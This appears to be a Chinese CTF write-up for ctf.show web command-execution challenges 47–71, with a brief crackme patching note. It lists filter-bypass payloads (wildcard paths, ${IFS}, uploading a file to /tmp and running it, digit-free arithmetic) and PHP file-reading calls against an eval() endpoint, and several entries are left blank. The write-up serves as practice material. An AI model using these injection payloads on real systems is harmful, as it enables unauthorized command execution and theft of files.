目录
web 47
web 48~49
web 50
web 51
查看页面源代码可得
web 52
web 53
web 54
完全意义禁用了这些命令(中间加上了通配符)
/bin/?at${IFS}f???????%0a
bin表示在bin目录下检索?at命令
bin主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
web 55
?c=/bin/base64 flag.php;
也可以通过构造一个文件上传的数据包
<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://cf2001b5-bd9e-45b1-b731-e1098870d18f.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
上传一个php文件,
通过post传参,传入cat flag.php,因为传入的文件一般都存放在tmp文件下,默认文件名为phpXXXXXX(后6个为随机的大小写字母)
然后通过get传参,访问这个文件,+在这里是一个空格的作用,?是要进行匹配的字符,[@-[]表示@到[之间的字符,这里是包括有所有大写字母。
web 56
与web55相同,多过滤了数字
web 57
根据题意,需要构造出36,$(())值为0,因为~a+a=-1
$((~$({_})))为-1,$((~$(())))$((~$(())))为-2,故可以通过这个构造出36
或者
web 58~65
一些函数被禁用
或者是
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
c=highlight_file("flag.php");
c=file("flag.php");
c=
file_get_contents("flag.php");c=fgets("flag.php");
c=readfile("flag.php");(选择其中使用)
web 66
好像找不到
列出根目录下的文件。
include包含文件,将文件内容解析成php代码执行
web67~68
print_r()被禁用了,用var_dump代替
web69
var_dump被禁用了,可用var_export()代替
web 70
web 71
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents(); //读取的文件内容通过缓存区送入s中
ob_end_clean(); //关闭并清空缓存区
echo preg_replace("/[0-9]|[a-z]/i","?",$s); //将s中数字字母全部换成?
}else{
highlight_file(__FILE__);
}
可以直接让程序在eval处停止。
逆向 crack me
先运行一下,提示输入用户名和注册码,输入后,退出了
拖进onlydbg
将jnz改为je,在运行,显示 登录成功